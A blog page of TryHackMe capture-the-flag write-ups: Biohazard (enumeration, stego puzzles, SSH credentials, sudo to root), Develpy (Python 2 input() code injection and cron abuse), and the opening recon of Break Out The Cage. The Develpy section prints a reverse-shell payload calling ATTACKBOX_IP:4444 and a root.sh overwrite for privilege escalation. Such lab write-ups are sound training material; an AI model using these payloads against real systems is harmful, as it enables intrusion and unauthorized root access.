CyberWithSharon

Biohazard (CTF Challenge - THM)

Jebitok — Thu, 02 Apr 2026 09:53:07 GMT

Introduction

Welcome to Biohazard room, a puzzle-style CTF. Collecting the item, solving the puzzle and escaping the nightmare is your top priority. Can you survive until the end?

If you have any question, do not hesitate to DM me on the discord channel.

Answer the questions below

How many open ports?

nmap -p- -sV IP_Address

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

The next step is continuing with the enumeration and recon process to help us understand the site more and find as much information as possible

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

===============================================================
/.hta.php             (Status: 403) [Size: 279]
/.hta.html            (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.hta.txt             (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htaccess.html       (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/.htpasswd.html       (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/attic                (Status: 301) [Size: 316] [--> http://IP_Address/attic/]
/css                  (Status: 301) [Size: 314] [--> http://IP_Address/css/]
/images               (Status: 301) [Size: 317] [--> http://IP_Address/images/]
/index.html           (Status: 200) [Size: 692]
/index.html           (Status: 200) [Size: 692]
/js                   (Status: 301) [Size: 313] [--> http://IP_Address/js/]
/server-status        (Status: 403) [Size: 279]

checked on the folders and noticed that it was just files showing up, meaning we stood better chances checking the site itself of running curl commands of the specific URLs

gobuster dir -u http://IP_Address/attic -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.hta.txt             (Status: 403) [Size: 279]
/.hta.html            (Status: 403) [Size: 279]
/.hta.php             (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htaccess.html       (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.htpasswd.html       (Status: 403) [Size: 279]
/index.php            (Status: 200) [Size: 592]
/index.php            (Status: 200) [Size: 592]

What is the team name in operation

we now have the team name: STARS alpha team

curl http://IP_Address

	
		Beginning of the end
		The nightmare begin
	

	
	
	
	July 1998, Evening
	The STARS alpha team, Chris, Jill, Barry, Weasker and Joseph is in the operation on searching the STARS bravo team in the nortwest of Racoon city.
	Unfortunately, the team was attacked by a horde of infected zombie dog. Sadly, Joseph was eaten alive.
	The team decided to run for the nearby  mansion  and the nightmare begin..........

The Mansion

Collect all necessary items and advanced to the next level. The format of the Item flag:

Item_name{32 character}

Some of the doors are locked. Use the item flag to unlock the door.

Tips: It is better to record down all the information inside a notepad

Answer the questions below

What is the emblem flag

Just from the above, we can see there's a path /mansionmain. Our next check: http://IP_Address/mansionmain/

curl http://IP_Address/mansionmain/

        
                Main hall
                Main hall
        

        
        

        The team reach the mansion safe and sound. However, it appear that Chris is missing
	Jill try to open the door but stopped by Weasker
        Suddenly, a gunshot can be heard in the nearby room. Weaker order Jill to make an investigate on the gunshot. Where is the room?

next we have a new path /diningRoom/: http://IP_Address/diningRoom

curl http://IP_Address/diningRoom/

        
                Dining room
                Dining room
        

        
        	

        	After reaching the room, Jill and Barry started their investigation
		Blood stein can be found near the fireplace. Hope it is not belong to Chris.
		After a short investigation with barry, Jill can't find any empty shell. Maybe another room?
		
        

			There is an emblem on the wall, will you take it?   YES

Clicking YES on the page gives us the emblem flag

Decoded: SG93IGFib3V0IHRoZSAvdGVhUm9vbS8= using base64decode

What is the lock pick flag

next we navigate to /teaRoom/: http://IP_Address/teaRoom/

What is the music sheet flag

We find the flag, but also introduced to anew path /artRoom/: http://IP_Address/artRoom/

Then next clicking on YES (http://IP_Address/artRoom/MansionMap.html) and this reveals a number of paths, some of which we haven't come across so far, but will be handy in finding more flags and answering the next set of questions.

Look like a map

Location:
/diningRoom/
/teaRoom/
/artRoom/
/barRoom/
/diningRoom2F/
/tigerStatusRoom/
/galleryRoom/
/studyRoom/
/armorRoom/
/attic/

curl http://IP_Address/barRoom/

        
                Bar room entrance
                Bar room entrance
        

        
        

        Look like the door has been locked
	It can be open by a lockpick

curl http://IP_Address/barRoom357162e3db904857963e6e0b64b96ba7/

        
                Bar room
                Bar room
        

        
        

        what a messy bar room
	A piano can be found in the bar room
	Play the piano?
	
		
		
	
	Also, you found a note that written as "moonlight somata", read it? READ

http://IP_Address/barRoom357162e3db904857963e6e0b64b96ba7/

Look like a music note NV2XG2LDL5ZWQZLFOR5TGNRSMQ3TEZDFMFTDMNLGGVRGIYZWGNSGCZLDMU3GCMLGGY3TMZL5

What is the gold emblem flag

curl http://IP_Address/barRoom/

        
                Bar room entrance
                Bar room entrance
        

        
        

        Look like the door has been locked
	It can be open by a lockpick

curl http://IP_Address/barRoom357162e3db904857963e6e0b64b96ba7/barRoomHidden.php

        
                Secret bar room
                Secret bar room
        

        
        

	There is an emblem slot on the wall, put the emblem?

What is the blue gem flag

You get the blue gem by pushing the status to the lower floor. The gem is on the diningRoom first floor. Visit sapphire.html

Next is to navigate to sapphire.html from the same path in order to find the blue jewel flag

The guard house

After gaining access to the FTP server, you need to solve another puzzle.

Answer the questions below

Where is the hidden directory mentioned by Barry

ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 1002     1002         4096 Sep 20  2019 .
drwxrwxrwx    2 1002     1002         4096 Sep 20  2019 ..
-rw-r--r--    1 0        0            7994 Sep 19  2019 001-key.jpg
-rw-r--r--    1 0        0            2210 Sep 19  2019 002-key.jpg
-rw-r--r--    1 0        0            2146 Sep 19  2019 003-key.jpg
-rw-r--r--    1 0        0             121 Sep 19  2019 helmet_key.txt.gpg
-rw-r--r--    1 0        0             170 Sep 20  2019 important.txt
226 Directory send OK.
ftp> get 001-key.jpg
local: 001-key.jpg remote: 001-key.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 001-key.jpg (7994 bytes).
226 Transfer complete.
7994 bytes received in 0.00 secs (19.6486 MB/s)
ftp> 002-key.jpg
?Invalid command
ftp> get 002-key.jpg
local: 002-key.jpg remote: 002-key.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 002-key.jpg (2210 bytes).
226 Transfer complete.
2210 bytes received in 0.00 secs (4.2925 MB/s)
ftp> get 003-key.jpg
local: 003-key.jpg remote: 003-key.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 003-key.jpg (2146 bytes).
226 Transfer complete.
2146 bytes received in 0.00 secs (3.6743 MB/s)
ftp> get helmet_key.txt.gpg
local: helmet_key.txt.gpg remote: helmet_key.txt.gpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for helmet_key.txt.gpg (121 bytes).
226 Transfer complete.
121 bytes received in 0.00 secs (237.7547 kB/s)
ftp> get important.txt
local: important.txt remote: important.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for important.txt (170 bytes).
226 Transfer complete.
170 bytes received in 0.00 secs (436.8832 kB/s)
ftp> exit

We have the hidden directory

cat important.txt
Jill,

I think the helmet key is inside the text file, but I have no clue on decrypting stuff. Also, I come across a /hidden_closet/ door but it was locked.

From,
Barry

###Password for the encrypted file

strings 001-key.jpg
JFIF
					
"*%%*424DD\
					
"*%%*424DD\
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
	#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
*Pr+6
)XG0
QPOu
^j2]
~Rpx
f$n[
3s3uc]D`A
*H=E%ij
J8t8"
Ro9	
Bri(
rqZ`
e=FM
77*{)
70_SL
vg[[fb@8
1c1DD
Pj*@
RsZ:
`:Wk@
FUu*
.!GF
%FO=jJ
G#kvaX7VsZ
nBx"
 xfN
SUu-
|?x
Zz? >}
o}m$2
Vm.^
OSLf
dnG?
mZ[@
i\lc
iyua:\
Vp>`}Z
<',kgp^
RWIu
z+DG+M
k)V*
*I&#
,v`/l
.\c~>n
APQE
w)yau$
'>Y?2
5KSMl
?gI6
Eq5f
0Q\D
Mm#Evgvw9f$
4=.]N
B^/C
E,S(h
AaS,
b]7&N
)qcs
b[yVD# 
[yqsv
<),Q
zM<@
!d?l
_Di>"
!|zU
O+fI
root@ip-10-128-117-253:~# strings 002-key.jpg
JFIF
5fYmVfZGVzdHJveV9
					
"*%%*424DD\
					
"*%%*424DD\
5Zs5
az8C
C%(KH\
ftkI
B}-*J
'ttT
uJ@2
!1Aaq
"2Q 0#Bbr
l)YWH]E
}VR7
p*qJ
v4NM
U!.#
! "AQ
#2Raq
?1>o
I^(h
+M_M
Z6"=
,hfb
Yx$k3
12Ra

strings 003-key.jpg
JFIF
Compressed by jpeg-recompress
					
"*%%*424DD\
					
"*%%*424DD\
"aq#0Rb
 2BCS
g#~D
2wb=
,g)A
'%fM
,rS5W
5.s	z3
mm5gs
f__"
v#X?j
`2I#2
i`nxedoU;
ds9\
ZuE@
$AdR?/
hL*W
w;rY
~`z0
rK$`
f=WmpNF
wBH=
key-003.txtUT
key-003.txtUT

unzip 003-key.jpg
Archive:  003-key.jpg
warning [003-key.jpg]:  1930 extra bytes at beginning or within zipfile
  (attempting to process anyway)
  inflating: key-003.txt             

ls
001-key.jpg  burp.json   Downloads           Instructions  Postman  snap
002-key.jpg  CTFBuilder  helmet_key.txt.gpg  key-003.txt   Rooms    thinclient_drives
003-key.jpg  Desktop     important.txt       Pictures      Scripts  Tools
cat key-003.txt
3aXRoX3Zqb2x0

steghide extract -sf 001-key.jpg -p ""
wrote extracted data to "key-001.txt".

steghide extract -sf 001-key.jpg -p "jill"
steghide: could not extract any data with that passphrase!

steghide extract -sf 001-key.jpg -p "barry"
steghide: could not extract any data with that passphrase!

steghide extract -sf 001-key.jpg -p "chris"
steghide: could not extract any data with that passphrase!

steghide extract -sf 001-key.jpg -p "umbrella"
steghide: could not extract any data with that passphrase!

steghide extract -sf 002-key.jpg -p ""
steghide: could not extract any data with that passphrase!

steghide extract -sf 002-key.jpg -p "jill"
steghide: could not extract any data with that passphrase!

ls
001-key.jpg  burp.json   Downloads           Instructions  Pictures  Scripts            Tools
002-key.jpg  CTFBuilder  helmet_key.txt.gpg  key-001.txt   Postman   snap
003-key.jpg  Desktop     important.txt       key-003.txt   Rooms     thinclient_drives

cat key-001.txt
cGxhbnQ0Ml9jYW

Combining the phrases gives us a base64 phrase that allows us to decode to find the password for the encrypted file
001: cGxhbnQ0Ml9jYW
002: 5fYmVfZGVzdHJveV9
003: 3aXRoX3Zqb2x0

cGxhbnQ0Ml9jYW5fYmVfZGVzdHJveV93aXRoX3Zqb2x0: plant42_can_be_destroy_with_vjolt

What is the helmet key flag

Try opening the helmet_key.txt.gpg file, and the password will be required, which is plant42_can_be_destroy_with_vjolt. This will give us a text file that has the helmet key flag.

cat helmet_key.txt

helmet_key{458493193501d2b94bbab2e727f8db4b}

The Revisit

Done with the puzzle? There are places you have explored before but yet to access.

Answer the questions below

What is the SSH login username

Navigating the /studyRoom requires the helmet_key{458493193501d2b94bbab2e727f8db4b} flag and we're redirected to the next page http://IP_Address/studyRoom28341c5e98c93b89258a6389fd608a3c/ where we end up having the doom.tar.gz file downloaded:
doom.tar.gz: has a text file that has the SSH login username

tar -xzvf doom.tar.gz
eagle_medal.txt
root@ip-IP_Address:~# cat eagle_medal.txt
SSH user: umbrella_guest

What is the SSH login password

Navigating the Examine the wold medal? within http://IP_Address/hiddenCloset8997e740cb7f5cece994381b9477ec38/ page shows us the SSH login password

SSH password: T_virus_rules

Who the STARS bravo team leader

The team leader's name is here:

curl http://IP_Address/hiddenCloset8997e740cb7f5cece994381b9477ec38/

        
                Closet room
                Closet room
        

        
        

        The closet room lead to an underground cave
	In the cave, Jill met injured Enrico, the leader of the STARS Bravo team. He mentioned there is a traitor among the STARTS Alpha team.
	When he was about to tell the traitor name, suddenly, a gun shot can be heard and Enrico was shot dead.
	Jill somehow cannot figure out who did that. Also, Jill found a MO disk 1 and a wolf Medal
	Read the MO disk 1?   READ
	Examine the wolf medal?  EXAMINE

Underground laboratory

Time for the final showdown. Can you escape the nightmare?

Answer the questions below

Where you found Chris

Since we have the SSH user and password, we can now access it and find the name, and also escalate privileges to find the root flag.

ssh umbrella_guest@IP_Address
umbrella_guest@umbrella_corp:~$ ls -la
total 64
drwxr-xr-x  8 umbrella_guest umbrella 4096 Sep 20  2019 .
drwxr-xr-x  5 root           root     4096 Sep 20  2019 ..
-rw-r--r--  1 umbrella_guest umbrella  220 Sep 19  2019 .bash_logout
-rw-r--r--  1 umbrella_guest umbrella 3771 Sep 19  2019 .bashrc
drwxrwxr-x  6 umbrella_guest umbrella 4096 Sep 20  2019 .cache
drwxr-xr-x 11 umbrella_guest umbrella 4096 Sep 19  2019 .config
-rw-r--r--  1 umbrella_guest umbrella   26 Sep 19  2019 .dmrc
drwx------  3 umbrella_guest umbrella 4096 Sep 19  2019 .gnupg
-rw-------  1 umbrella_guest umbrella  346 Sep 19  2019 .ICEauthority
drwxr-xr-x  2 umbrella_guest umbrella 4096 Sep 20  2019 .jailcell
drwxr-xr-x  3 umbrella_guest umbrella 4096 Sep 19  2019 .local
-rw-r--r--  1 umbrella_guest umbrella  807 Sep 19  2019 .profile
drwx------  2 umbrella_guest umbrella 4096 Sep 20  2019 .ssh
-rw-------  1 umbrella_guest umbrella  109 Sep 19  2019 .Xauthority
-rw-------  1 umbrella_guest umbrella 7546 Sep 19  2019 .xsession-errors
umbrella_guest@umbrella_corp:~$ pwd
/home/umbrella_guest
umbrella_guest@umbrella_corp:~$ ls -la .jailcell/
total 12
drwxr-xr-x 2 umbrella_guest umbrella 4096 Sep 20  2019 .
drwxr-xr-x 8 umbrella_guest umbrella 4096 Sep 20  2019 ..
-rw-r--r-- 1 umbrella_guest umbrella  501 Sep 20  2019 chris.txt
umbrella_guest@umbrella_corp:~$ cat .jailcell/*
Jill: Chris, is that you?
Chris: Jill, you finally come. I was locked in the Jail cell for a while. It seem that weasker is behind all this.
Jil, What? Weasker? He is the traitor?
Chris: Yes, Jill. Unfortunately, he play us like a damn fiddle.
Jill: Let's get out of here first, I have contact brad for helicopter support.
Chris: Thanks Jill, here, take this MO Disk 2 with you. It look like the key to decipher something.
Jill: Alright, I will deal with him later.
Chris: see ya.

MO disk 2: albert

Who is the traitor `weasker`

This will be found alongside the next password

The login password for the traitor

Navigating to the path we found /hidden_closet/, you'll be required to enter the helmet flag helmet_key{458493193501d2b94bbab2e727f8db4b}. This will navigate you to the page below.

curl http://IP_Address/hiddenCloset8997e740cb7f5cece994381b9477ec38/

        
                Closet room
                Closet room
        

        
        

        The closet room lead to an underground cave
	In the cave, Jill met injured Enrico, the leader of the STARS Bravo team. He mentioned there is a traitor among the STARTS Alpha team.
	When he was about to tell the traitor name, suddenly, a gun shot can be heard and Enrico was shot dead.
	Jill somehow cannot figure out who did that. Also, Jill found a MO disk 1 and a wolf Medal
	Read the MO disk 1?   READ
	Examine the wolf medal?  EXAMINE

If you click the first option of Read the MO disk 1? it gives us this phrase which, when decoded it returns the password we're looking for:

wpbwbxr wpkzg pltwnhro, txrks_xfqsxrd_bvv_fy_rvmexa_ajk: weasker login password, stars_members_are_my_guinea_pig

The name of the ultimate form

checking home folder, we find weasker folder that has weasker_note.txt file that has the Tyrant

pwd
/home/umbrella_guest
umbrella_guest@umbrella_corp:~$ cd ../
umbrella_guest@umbrella_corp:/home$ ls -la
total 20
drwxr-xr-x  5 root           root     4096 Sep 20  2019 .
drwxr-xr-x 24 root           root     4096 Sep 18  2019 ..
drwxr-xr-x  4 hunter         hunter   4096 Sep 19  2019 hunter
drwxr-xr-x  8 umbrella_guest umbrella 4096 Sep 20  2019 umbrella_guest
drwxr-xr-x  9 weasker        weasker  4096 Sep 20  2019 weasker
umbrella_guest@umbrella_corp:/home$ cd weasker
umbrella_guest@umbrella_corp:/home/weasker$ ls -la
total 80
drwxr-xr-x  9 weasker weasker 4096 Sep 20  2019 .
drwxr-xr-x  5 root    root    4096 Sep 20  2019 ..
-rw-------  1 weasker weasker   18 Sep 20  2019 .bash_history
-rw-r--r--  1 weasker weasker  220 Sep 18  2019 .bash_logout
-rw-r--r--  1 weasker weasker 3771 Sep 18  2019 .bashrc
drwxrwxr-x 10 weasker weasker 4096 Sep 20  2019 .cache
drwxr-xr-x 11 weasker weasker 4096 Sep 20  2019 .config
drwxr-xr-x  2 weasker weasker 4096 Sep 19  2019 Desktop
drwx------  3 weasker weasker 4096 Sep 19  2019 .gnupg
-rw-------  1 weasker weasker  346 Sep 20  2019 .ICEauthority
drwxr-xr-x  3 weasker weasker 4096 Sep 19  2019 .local
drwx------  5 weasker weasker 4096 Sep 19  2019 .mozilla
-rw-r--r--  1 weasker weasker  807 Sep 18  2019 .profile
drwx------  2 weasker weasker 4096 Sep 19  2019 .ssh
-rw-r--r--  1 weasker weasker    0 Sep 20  2019 .sudo_as_admin_successful
-rw-r--r--  1 root    root     534 Sep 20  2019 weasker_note.txt
-rw-------  1 weasker weasker  109 Sep 20  2019 .Xauthority
-rw-------  1 weasker weasker 5548 Sep 20  2019 .xsession-errors
-rw-------  1 weasker weasker 6749 Sep 20  2019 .xsession-errors.old
umbrella_guest@umbrella_corp:/home/weasker$ cat weasker_note.txt
Weaker: Finally, you are here, Jill.
Jill: Weasker! stop it, You are destroying the  mankind.
Weasker: Destroying the mankind? How about creating a 'new' mankind. A world, only the strong can survive.
Jill: This is insane.
Weasker: Let me show you the ultimate lifeform, the Tyrant.

(Tyrant jump out and kill Weasker instantly)
(Jill able to stun the tyrant will a few powerful magnum round)

Alarm: Warning! warning! Self-detruct sequence has been activated. All personal, please evacuate immediately. (Repeat)
Jill: Poor bastard

The root flag

ssh weasker@IP_Address

sudo -l
[sudo] password for weasker: 
Matching Defaults entries for weasker on umbrella_corp:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User weasker may run the following commands on umbrella_corp:
    (ALL : ALL) ALL

weasker@umbrella_corp:~$ sudo su
root@umbrella_corp:/home/weasker# ls -la
total 80
drwxr-xr-x  9 weasker weasker 4096 Sep 20  2019 .
drwxr-xr-x  5 root    root    4096 Sep 20  2019 ..
-rw-------  1 weasker weasker   18 Sep 20  2019 .bash_history
-rw-r--r--  1 weasker weasker  220 Sep 18  2019 .bash_logout
-rw-r--r--  1 weasker weasker 3771 Sep 18  2019 .bashrc
drwxrwxr-x 10 weasker weasker 4096 Mar 28 08:21 .cache
drwxr-xr-x 11 weasker weasker 4096 Sep 20  2019 .config
drwxr-xr-x  2 weasker weasker 4096 Sep 19  2019 Desktop
drwx------  3 weasker weasker 4096 Sep 19  2019 .gnupg
-rw-------  1 weasker weasker  346 Sep 20  2019 .ICEauthority
drwxr-xr-x  3 weasker weasker 4096 Sep 19  2019 .local
drwx------  5 weasker weasker 4096 Sep 19  2019 .mozilla
-rw-r--r--  1 weasker weasker  807 Sep 18  2019 .profile
drwx------  2 weasker weasker 4096 Sep 19  2019 .ssh
-rw-r--r--  1 weasker weasker    0 Sep 20  2019 .sudo_as_admin_successful
-rw-r--r--  1 root    root     534 Sep 20  2019 weasker_note.txt
-rw-------  1 weasker weasker  109 Sep 20  2019 .Xauthority
-rw-------  1 weasker weasker 5548 Sep 20  2019 .xsession-errors
-rw-------  1 weasker weasker 6749 Sep 20  2019 .xsession-errors.old
root@umbrella_corp:/home/weasker# pwd
/home/weasker
root@umbrella_corp:/home/weasker# find / -type f -name root.txt 2>/dev/null
/root/root.txt
root@umbrella_corp:/home/weasker# cat /root/root.txt
In the state of emergency, Jill, Barry and Chris are reaching the helipad and awaiting for the helicopter support.

Suddenly, the Tyrant jump out from nowhere. After a tough fight, brad, throw a rocket launcher on the helipad. Without thinking twice, Jill pick up the launcher and fire at the Tyrant.

The Tyrant shredded into pieces and the Mansion was blowed. The survivor able to escape with the helicopter and prepare for their next fight.

The End

flag: 3c5794a00dc56c35f2bf096571edf3bf

Develpy (CTF Challenge - THM)

Jebitok — Sat, 28 Mar 2026 20:02:07 GMT

Introduction

Develpy is a beginner-friendly TryHackMe challenge that focuses on code injection and privilege escalation via cron job abuse. The attack surface starts with a custom Python 2 service running on port 10000 that exposes a dangerous use of input() — which in Python 2 implicitly calls eval() on user input, enabling remote code execution without any authentication. From there, privilege escalation is achieved by abusing a writable script that root executes every minute via cron.

Develpy

read user.txt and root.txt

Answer the questions below

Reconnaisance & Enumeration

nmap -sV -p- IP_Address

Not shown: 65533 closed ports
PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
10000/tcp open  snet-sensor-mgmt?

user.txt

With the help of Claude, learned that we had to run this command nc IP_Address 10000 and also start a netcat server at 4444 on another tab

nc IP_Address 10000

        Private 0days

 Please enther number of exploits to send??: __import__('os').system('bash -c "bash -i > /dev/tcp/ATTACKBOX_IP/4444 0>&1"')
bash: cannot set terminal process group (772): Inappropriate ioctl for device
bash: no job control in this shell

This way, we got our user flag.

nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 39286
id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
whoami
king
ls -la
total 324
drwxr-xr-x 4 king king   4096 Aug 27  2019 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:05 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-r--r-- 1 root root     32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king    139 Aug 25  2019 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
cat user.txt
cf85ff769cfaaa721758949bf870b019

root.txt

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *	* * *	king	cd /home/king/ && bash run.sh
*  *	* * *	root	cd /home/king/ && bash root.sh
*  *	* * *	root	cd /root/company && bash run.sh
#

cat run.sh
#!/bin/bash
kill cat /home/king/.pid
socat TCP-LISTEN:10000,reuseaddr,fork EXEC:./exploit.py,pty,stderr,echo=0 &
echo $! > /home/king/.pid

crontab -l
strings credentials.png
IHDR
PLTE
tRNS
=Fc@
tEXtArtist
Mondrian\
tEXtCopyright
Mondrian
"gIDATx

entering date, then giving it some minute then go ahead and remove the root.sh file, then add to the script a line that will allow us to copy the root.txt from the root user to our current user king for us to access a copy of the root file that has the root flag

date
Fri Mar 27 12:31:38 PDT 2026
id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
ls -la
total 324
drwxr-xr-x 4 king king   4096 Aug 27  2019 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:33 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-r--r-- 1 root root     32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king    183 Mar 27 12:22 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
rm root.sh
echo 'cp /root/root.txt /home/king/root.txt' > root.sh
ls -la
total 328
drwxr-xr-x 4 king king   4096 Mar 27 12:35 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:37 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-rw-r-- 1 king king     38 Mar 27 12:34 root.sh
-rw-r--r-- 1 root root     33 Mar 27 12:37 root.txt
-rw-rw-r-- 1 king king    183 Mar 27 12:22 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
cat root.txt 
9c37646777a53910a347f387dce025ec

Conclusion

This challenge reinforced two important concepts:

Python 2 input() is eval() — unlike Python 3, Python 2's input() evaluates whatever the user sends as Python code before processing it. This makes it trivially exploitable for RCE (CWE-78). Always check the Python version when auditing input handling.
Cron job privilege escalation — when a high-privilege user (root) executes a script that a lower-privileged user can write to or replace, it creates a reliable privesc path. Enumerating /etc/crontab and checking file permissions on scripts referenced there should be a standard step in any post-exploitation checklist.

The root flag was obtained by replacing root.sh with a script that copied /root/root.txt to king's home directory, then waiting for the cron job to execute it as root.

Break Out The Cage (CTF Challenge - THM)

Jebitok — Sat, 28 Mar 2026 19:42:59 GMT

INTRO

In this TryHackMe room, Break Out The Cage, we step into a Nicolas Cage-themed CTF that layers enumeration, classical cryptography, and privilege escalation into a full attack chain. The challenge begins with a fan site for the actor himself and ends with root access — uncovering a conspiracy between his agent and a shadowy actors' guild along the way.

The room covers reconnaissance across three services (HTTP, FTP, SSH), extracting and decoding a Vigenère-encrypted message from FTP, brute-forcing SSH credentials using a custom wordlist, and exploiting a cron job running a Python script vulnerable to command injection via os.system(). Privilege escalation to root is achieved by decoding a second Vigenère cipher found in cage's email backup.

Investigate!

Let's find out what his agent is up to....

Answer the questions below

Reconnaisance & Enumeration

nmap -p- -sV IP_Address

21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

curl http://IP_Address



	
	Nicholas Cage Stories
	




	
		
			
				
					
					
					 
					  This is my personal website I host from my home in, well wouldn't YOU LIKE TO KNOW?!?.
	  	     	My son Weston set it up for my, the boy's always been good with technology since I paid for an MIT dropout to teach him..
			    	I post from time to time on here about how lifes going, ya know the ups the downs the mess me arounds. But hey! I'm the Cage?
							am I right? huh!?
				    My agent is currently on holiday in Hawaii so not taking calls on up coming films and book signings
					 

					
					
						Home
						About me
						Passion
						Hobbies
						Profession
						Collection
						Contact
					
				
				
					
						
						
						Avid comic book fan, previous owner of a pet octopus.
			    	I also do films in my spare time
					
					
						
						
					
					
				
				
					
						"I think I jump around more when I'm alone" - Nicholas Cage

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/.html                (Status: 403) [Size: 278]
/.hta.html            (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.hta.txt             (Status: 403) [Size: 278]
/.hta.php             (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/contracts            (Status: 301) [Size: 318] [--> http://IP_Address/contracts/]
